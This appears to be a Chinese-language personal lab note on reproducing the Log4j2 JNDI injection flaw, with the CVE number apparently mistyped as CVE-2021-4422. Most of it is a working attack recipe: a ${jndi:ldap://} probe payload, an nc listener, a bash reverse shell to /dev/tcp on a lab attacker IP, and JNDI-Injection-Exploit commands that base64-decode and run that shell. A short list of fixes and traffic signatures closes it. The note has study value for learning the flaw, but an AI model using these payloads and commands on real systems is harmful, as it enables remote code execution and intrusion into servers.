最近一直在搞蓝队所以懈怠了更新,主要还是懒得搬笔记
CVE-2021-4422
漏洞原理:log4j2组件在处理程序日志记录时存在JNDI注入缺陷
详解:
在该框架下的lookup查询服务提供了{}字段解析,故payload为${jndi:ldap:恶意url},JNDI会去对对应的服务(如:LDAP、DNS等)查找资源,本例调用LDAP服务,<font color="#f79646">由于对lookup的出栈无限制</font>,导致最终指向攻击者站点,下载远程恶意class文件,最终导致远程rce。
漏洞价值:任意RCE
漏洞利用:LDAP(目录访问协议),RMI(分布式对象应用)
PS:JNDI(java命名和目录接口)用于目录管理,通过名称调用接口
漏洞复现
靶机:192.168.245.1xx
攻击机:192.168.245.1oo
1.DNSlog验证漏洞
payload=\${jndi:ldap\://\${sys:java.version}.DNS地址}
2.攻击机监听端口 7777
nc -lvvp 7777
3.将bash反弹shell命令编码 base64
<font color="#f79646">bash -i >& /dev/tcp/192.168.245.1oo/7777 0>&1</font>
解释:
- bash:启动bash shell
- -i:开启交互式shell会话,允许用户命令输入和获取输出
- >& /dev/tcp/攻击机IP:将输出重定向,将建立一个与该IP和端口相连接的网络套接字,将输出发送至该连接
- 0>&1:输入和输出将通过网络套接字传输
4.使用JNDIexploit进行漏洞利用(注入工具)
poc注意要有JNDI-Injection-Exploit
格式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C
"bash -c {echo,Base64编码后的Payload} | {base64,-d} | {bash,-i}" -A 攻击机IP
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,编码内容}|{base64,-d}|{bash,-i}" -A "192.168.245.1oo"
payload:/?action=${jndi:ldap://}或${jndi:rmi://}ps:我自己测rmi不行不知道啥原因
5.修复总结及流量特征
1.该漏洞的主要成因是LDAP对外部站点资源的访问,导致下载恶意代码,可以禁止lookup的出栈查询。
2.对"jndi:ladp://"、“jndi:rmi”等特征字符过滤。
3.限制对外网的访问。
4.配置jndi可调用协议。